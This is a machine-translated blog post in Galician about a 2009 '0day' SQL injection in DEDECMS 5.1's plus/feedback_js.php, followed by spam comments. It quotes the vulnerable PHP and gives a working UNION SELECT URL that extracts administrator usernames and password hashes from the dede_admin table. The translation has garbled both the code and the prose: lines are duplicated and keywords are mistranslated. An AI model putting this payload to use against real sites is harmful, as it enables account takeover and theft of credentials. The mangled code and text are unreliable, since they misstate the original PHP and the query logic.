DEDECMS 5,1 feedback_js.php 0day-0 días, DEDECMS, DEDECMS 5.1, feedback

DEDECMS 5,1 feedback_js.php 0day

Esta entrada foi publicada o 11 de outubro de 2009

Autor: St0p Rainy'Fox
Reproducido por Escriba aquí a fonte: http://bbs.erpangzi.com/ http://www.st0p.org

Esta vulnerabilidade atópase e Rainy'Fox tamén está dispoñible no caso magic_quotes_gpc = off

Versión Vulnerabilidade: Artigos Cond 5,1
Isto pode ser explotado para obter a conta de administrador no fondo e cifrar o hash, existen brechas arquivo plus / feedback_js.php, os parámetros non filtradas de US $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) if (empty ($ arcID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Liña = $ dlist -> DSQL -> GetOne ("id Select a '# @ __ cache_feedbackurl` onde url =' $ arcurl '");
        / / Aquí $ arcurl ningún filtro
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if (is_array ($ row)) $ urlindex = $ row ['id'];
       / / Amosar os resultados poñer asignación $ urlindex para unha consulta para o $ liña ['id'], podemos construír instrucións SQL para a operación seguinte
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; if (empty ($ arcID) && empty ($ urlindex)) exit ();
 / / Se $ arcID está baleira ou US $ urlindex saída baleira
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if (empty ($ arcID)) $ wq = "urlindex = '$ urlindex'";
 / / $ ArcID está baleiro, un pouco por enriba dos resultados da aplicación terán dereito a $ wq nas operacións seguintes realizados.
 = " aid=' $arcID ' " ; else $ wq = "Aid = '$ arcID'";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ Querystring = "Select * FROM` # @ __ GABARITO `onde $ wq e ischeck = '1 'ORDER BY dtime desc";
 Init ( ) ; $ Dlist -> init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ querystring);
 ......

Olle para o uso de, hey, pechou Eu uso dous unión

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'unión seleccione "" e 1 = 2 UNION SELECT userid, 1,1,1, 3,1,3,3, pwd, 1,1,3 , 1,1,1,1,1 de dede_admin onde 1 = 1 unión SELECT * FROM dede_feedback onde 1 = 2 e'' = '"de dede_admin onde'' ='

Desafortunadamente, mesmo este cara e Rainy'Fox para atopar proba branco cando dixo de feito pode, ao = magic_quotes_gpc en cando a través .... esa idea moi YD .. terrible demais, para realmente acadar ese rede do sector debe ao caos, unha morea de programas por defecto no PHP magic_quotes_gpc está apagado, vai chamar a súa parte propia fuga ... realmente pode alcanzar, que é o pesadelo do programa PHP ...

Saber · Fraudes de artes marciais

Respostas a 348 "DEDECMS 5,1 feedback_js.php 0day"

Por хостинг en 19 de novembro de 2009 | Responder
celo intiresno, hvala
O por AKfour sete en 1 de decembro de 2009 | Responder
Estou aquí hoxe humildemente diate da tarefa antes de [url = http://www.bawwgt.com] Dofus kamas [/ url], grata pola confianza que vostedes depositaron en min, consciente dos sacrificios soportados polos nosos [url = http:/ / www.bawwgt.com] kamas Dofus baratos [/ url]. Eu agradezo ao presidente [url = http://www.bawwgt.com] power leveling Dofus [/ url] para o seu servizo de [url = http://www . bawwgt.com] mercar Dofus kamas] [/ url, así como pola xenerosidade e cooperación que demostrou durante esta transición.
O por wsewtoexg en 03 de decembro de 2009 | Responder
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [Ficheiro: http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
Por Tedy en 05 de decembro de 2009 | Responder
Só 34 días antes Dofus 2.0! 02 de decembro estará aquí antes de que sabemos [url = http://www.bawwgt.com/fr] Dofus kamas [/ url]. On [url = http://www.bawwgt.com / fr] Dofus kamas moins chers [/ url] cada lector pode descubrir unha experiencia totalmente nova Dofus. [url = http://www.bawwgt.com/fr] acheter des Dofus kamas [/ url] ten que contentarse co informes e foros. Aínda así [url = http://www.bawwgt.com/fr] achat Dofus kamas [/ url], hai ¯ s sempre algúns dos nosos xogadores queridos nos foros.
Ao mercar strattera en 13 de decembro de 2009 | Responder
Esta é unha noticia legal. Grazas.
O por Seengart en 14 de decembro de 2009 | Responder
hein ... o estilo do informativo ..
Por Natasha-web en 16 de decembro de 2009 | Responder
Vdaka za zaujimavy blogue
O por ConradSimone en 8 de marzo de 2012 | Responder
Ben, este é o amor indeed.Would moi interesante ler un pouco máis el. Admire a valiosa información que ofrece nos seus artigos.
O Conrad por Simone